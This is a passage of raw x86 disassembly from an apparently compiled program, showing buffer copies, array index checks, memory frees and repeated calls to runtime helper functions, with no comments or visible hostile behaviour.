mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x410aeb
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x410b40
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x410b3e
imul eax, dword [edi]
jmp 0x410b33
mov ecx, eax
cmp ecx, 0x100
jle 0x410b4d
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x410b8b
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x410b89
imul eax, dword [edi]
jmp 0x410b7e
mov ecx, eax
cmp ecx, 0x50
jle 0x410b95
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x410d0c
mov dword [ebp - 0x30], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x410c4d
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x410ca2
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x410ca0
imul eax, dword [edi]
jmp 0x410c95
mov ecx, eax
cmp ecx, 0x100
jle 0x410caf
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x410ced
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x410ceb
imul eax, dword [edi]
jmp 0x410ce0
mov ecx, eax
cmp ecx, 0x50
jle 0x410cf7
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x410d39
push 6
call fcn.00434a53
add esp, 4
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486080
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x10]
call fcn.0040325a
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x41154c
call fcn.0040bc84
mov ebx, dword [ebp - 0x10]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x410db8
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x410dcb
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push 0x80000301
push 0
push 3
push 0x80000301
push 0
push 1
mov ebx, 6
call fcn.0040122a
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x410e0a
mov eax, 0x4b0200
push eax
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x410e57
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x410e6a
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x410e87
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 5
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x410ee1
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x410ef4
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x410f19
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x410f2c
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push dword [ebp - 0x34]
call fcn.0041520d
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x30]
mov ebx, dword [ebx]
test ebx, ebx
je 0x410f55
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x410f78
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x410f8b
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push dword [ebp - 0x30]
call fcn.00414d87
test eax, eax
je 0x410feb
push VariantClear
push 0
push 0x4d14b8
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411008
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x41101b
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x411038
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411092
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4110a5
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x30]
call fcn.00403ae9
mov dword [ebp - 0x38], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x4110d7
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 3
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x411124
push ebx
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411141
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x411154
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x411171
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x4111cb
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4111de
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
mov ebx, dword [ebp - 0x30]
push dword [ebx]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x41127e
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x38]
push ebx
mov edi, dword [ebp - 0x3c]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x4112d3
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x4112d1
imul eax, dword [edi]
jmp 0x4112c6
mov ecx, eax
cmp ecx, 0x100
jle 0x4112e0
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x41131e
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x41131c
imul eax, dword [edi]
jmp 0x411311
mov ecx, eax
cmp ecx, 0x50
jle 0x411328
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x4114d9
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411367
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x41137a
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
mov ebx, dword [ebp - 0x30]
push dword [ebx]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x41141a
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x38]
push ebx
mov edi, dword [ebp - 0x3c]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x41146f
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x41146d
imul eax, dword [edi]
jmp 0x411462
mov ecx, eax
cmp ecx, 0x100
jle 0x41147c
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x4114ba
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x4114b8
imul eax, dword [edi]
jmp 0x4114ad
mov ecx, eax
cmp ecx, 0x50
jle 0x4114c4
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x411506
push 6
call fcn.00434a53
add esp, 4
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486080
call fcn.00434a5f
add esp, 0x34
pop eax
pop ebx
pop ecx
jmp 0x410d88
add esp, 0xc
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.00434a3b
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x10]
call fcn.00401232
pop edx
test ecx, ecx
je 0x4115a9
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x41159f
push ebx
call fcn.00434a35
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x41158e
pop edx
pop edi
test edx, edx
je 0x4115b7
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 0x10]
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ecx, 0
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.00434a3b
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
mov dword [edi], 0
add edi, 4
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
pop edx
test ecx, ecx
je 0x411620
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x411616
push ebx
call fcn.00434a35
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x411605
pop edx
pop edi
test edx, edx
je 0x41162e
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 0x2c]
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
push 0x18
call fcn.00414c39
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x41165e
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00414e4b
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x411693
push ebx
call fcn.00434a35
add esp, 4
cmp dword [ebp - 0x34], 0
jle 0x41222c
mov ebx, 0xc
call fcn.0040122a
push VariantClear
push 0
push 0x4d15be
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x4116f5
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov dword [ebp - 0x30], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x4117c8
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x41181d
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x41181b
imul eax, dword [edi]
jmp 0x411810
mov ecx, eax
cmp ecx, 0x100
jle 0x41182a
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x411868
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x411866
imul eax, dword [edi]
jmp 0x41185b
mov ecx, eax
cmp ecx, 0x50
jle 0x411872
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x4119e9
mov dword [ebp - 0x30], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x41192a
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x41197f
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x41197d
imul eax, dword [edi]
jmp 0x411972
mov ecx, eax
cmp ecx, 0x100
jle 0x41198c
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x4119ca
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x4119c8
imul eax, dword [edi]
jmp 0x4119bd
mov ecx, eax
cmp ecx, 0x50
jle 0x4119d4
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x411a16
push 6
call fcn.00434a53
add esp, 4
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486080
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x10]
call fcn.0040325a
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x412229
call fcn.0040bc84
mov ebx, dword [ebp - 0x10]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411a95
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x411aa8
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push 1
mov ebx, 6
call fcn.0040122a
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x411ae7
mov eax, 0x4b0200
push eax
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411b34
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x411b47
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x411b64
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 5
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411bbe
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x411bd1
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411bf6
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x411c09
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push dword [ebp - 0x34]
call fcn.0041520d
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x30]
mov ebx, dword [ebx]
test ebx, ebx
je 0x411c32
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411c55
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x411c68
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push dword [ebp - 0x30]
call fcn.00414d87
test eax, eax
je 0x411cc8
push VariantClear
push 0
push 0x4d14b8
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x411ce5
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x411cf8
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x411d15
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
